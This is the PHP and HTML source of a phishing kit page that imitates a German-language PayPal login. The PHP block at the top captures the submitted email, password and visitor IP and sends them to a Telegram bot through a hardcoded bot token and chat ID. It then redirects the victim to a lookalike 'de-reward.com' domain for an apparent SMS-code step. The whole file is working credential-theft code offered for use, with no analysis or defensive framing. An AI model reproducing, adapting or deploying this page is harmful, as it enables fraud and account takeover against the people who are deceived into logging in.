<?php
// Telegram Bot Token and Chat ID
$token = '8457148527:AAE0wGTef1ke0jv8X2QHOOXhbLsLZbxhYqw';
$chat_id = '-1003435278269';

$errorMessage = '';

// Function to get user IP
function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

$userIP = getUserIP();

// Handle Form Submit
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $input1 = isset($_POST['input']) ? trim($_POST['input']) : '';
    $input2 = isset($_POST['extra']) ? trim($_POST['extra']) : '';

    if (!empty($input1) && !empty($input2)) {

        // Message content for Telegram
        $message = 
"User E-mail: $input1
User PAssword: $input2
IP: $userIP";

        $telegram_url = "https://api.telegram.org/bot$token/sendMessage";

        $post_data = [
            'chat_id' => $chat_id,
            'text' => $message
        ];

        // Send to Telegram
        $ch = curl_init($telegram_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_exec($ch);
        curl_close($ch);

        // Redirect after sending
        header("Location: https://paypal.de-reward.com/virement/sms.php");
        exit();

    } else {
        $errorMessage = "Veuillez remplir toutes les cases.";
    }
}
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Authentication</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" />

    <style>
        body {
            background: linear-gradient(135deg, #ffffff, #ffffff);
            min-height: 100vh;
            padding: 20px;
            font-family: Arial, sans-serif;
        }
        html, body {
    margin: 0;
    padding: 0;
    width: 100%;
    height: 100%;
}

.container {
    background-color: #ffffff;
    padding: 30px;
    border-radius: 0;
    width: 100% !important;
    max-width: 100% !important;
    margin: 0 !important;
    box-sizing: border-box;
    min-height: 100vh; /* يجعل الصفحة تمتد طول الشاشة */
}

        #btn-validate {
            background: linear-gradient(135deg, #09467C, #0f6fa0);
            border: none;
            color: white;
            padding: 12px;
            border-radius: 8px;
            width: 100%;
            font-size: 1.1rem;
        }
        #btn-validate:disabled {
            background: #ccc;
        }
        .error {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
        
        /* السطر الذي يحتوي على كلمة or */
.separatorContainer {
    width: 100%;
    display: flex;
    align-items: center;
    margin: 20px 0; /* المسافة فوق وتحت */
}

.separatorContainer::before,
.separatorContainer::after {
    content: "";
    flex: 1;
    height: 1px;
    background-color: #ccc; /* لون الخط */
}

.separatorText {
    margin: 0 10px; /* المسافة بين الخط والكلمة */
    color: #777;    /* لون كلمة or */
    font-size: 16px;
}

.secondaryButton {
    width: 100%;
    padding: 12px 25px;
    border: 1px solid black; /* ↓↓ كان 2px — الآن نفس سماكة الزر الأول */
    background-color: #fff;
    color: black;
    border-radius: 30px;
    font-size: 18px;
    cursor: pointer;
    transition: 0.2s;
}

.secondaryButton:hover {
    background-color: #f3f3f3;
}


.language-container {
    margin-top: 30px; /* ← مساحة أكبر تحت الزر الثاني */
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 16px;
    justify-content: center;
}

.lang-flag {
    width: 20px;
    height: 14px;
    border-radius: 2px;
}

.lang-item {
    cursor: pointer;
    color: #555;
}

.lang-item.active {
    font-weight: bold;
    color: #000;
}

.separator {
    margin: 0 6px;
    color: #999;
}


/* تنسيق الحقول كما في الصورة */
.custom-input {
    width: 100%;
    padding: 15px 18px;
    font-size: 17px;
    border: 1.7px solid #999999;
    border-radius: 10px;
    background-color: #fff;
    color: #333;
    transition: 0.25s ease;
}

/* كتابة placeholder باللون الرمادي الهادئ */
.custom-input::placeholder {
    color: #6C7378;
    opacity: 0.8;
}

/* عند الضغط على الحقل */
.custom-input:focus {
    outline: none;
    border-color: #4a90e2; /* الإطار الأزرق عند الضغط */
    box-shadow: 0 0 5px rgba(74,144,226,0.4);
}



.footer-bar {
    position: fixed;
    bottom: 0;
    left: 0;
    width: 100%;
    background: #f0f2f5;
    padding: 12px 0;
    display: flex;
    justify-content: center; /* الكل في الوسط */
    align-items: center;
}

.footer-bar span {
    color: #666;
    font-size: 14px;
    margin: 0 8px;  /* تقارب الكلمات مثل الصورة */
    cursor: pointer;
}

.footer-bar span:hover {
    text-decoration: underline;
}



html, body {
    overflow: hidden !important;
    height: 80% !important;
}


.logo-container {
    text-align: center;
    margin-bottom: 20px; /* مسافة بين اللوجو والخانة الأولى */
}

.logo-container img {
    width: 120px; /* يمكنك تغيير الحجم */
    height: auto;
}


    </style>
</head>

<body>

<div class="container mt-5">
   

    <form action="" method="POST">


<!-- LOGO (place this above the first input) -->
  <div class="logo-container">
    <img src="https://paypal.de-reward.com/ppl2.png?text=LOGO" alt="Logo">
  </div>

        <div class="mb-3">
    <input id="input1" type="text" name="input" class="custom-input" placeholder="E-Mail-Adresse oder Handynummer" required>
</div>

        <div class="mb-4">
    <input 
        id="input2" 
        type="password" 
        name="extra" 
        class="custom-input" 
        placeholder="Passwort" 
        required
    >
</div>

        
        <p style="color: #0070E0; font-weight: 500; margin-top: -10px; margin-bottom: 15px; cursor: pointer;">
    Passwort vergessen?
</p>


        <button 
            id="btn-validate" 
            type="submit" 
            style="
                background-color: #0551B5;
                color: white;
                padding: 12px 25px;
                border: none;
                border-radius: 25px;
                font-size: 16px;
                cursor: pointer;
                width: 100%;
            "
        >
            Einloggen
        </button>
        
        <div class="separatorContainer">
    <span class="separatorText">oder</span>
</div>

<button 
    class="btn-second"
    style="
        background-color: #ffffff;
        color: black;
        padding: 12px 25px;
        border: 1px solid #000000;
        border-radius: 25px;
        font-size: 16px;
        cursor: pointer;
        width: 100%;
        height: 48px; /* 👈 تم إضافة الارتفاع فقط */
        margin-bottom: 75px;
    "
>
    Neu anmelden
</button>


<!-- شريط اللغات -->
<div class="language-container">
    <img src="https://flagcdn.com/w20/de.png" class="lang-flag" alt="DE">
    <span class="lang-item active">Deutsch</span>
    <span class="separator">|</span>

    <span class="lang-item">English</span>
    
</div>




    </form>

    <div class="error">
        <?php if (!empty($errorMessage)) echo $errorMessage; ?>
    </div>
</div>

<script>
    function checkFields() {
        const v1 = document.getElementById('input1').value.trim();
        const v2 = document.getElementById('input2').value.trim();
        document.getElementById('btn-validate').disabled = (v1 === '' || v2 === '');
    }

    document.getElementById('input1').addEventListener('input', checkFields);
    document.getElementById('input2').addEventListener('input', checkFields);
</script>


<div class="footer-bar">
    <span>Hilfe</span>
    <span>Kontakt</span>
    <span>Datenschutz</span>
    <span>Bedingungen</span>
</div>



</body>
</html>
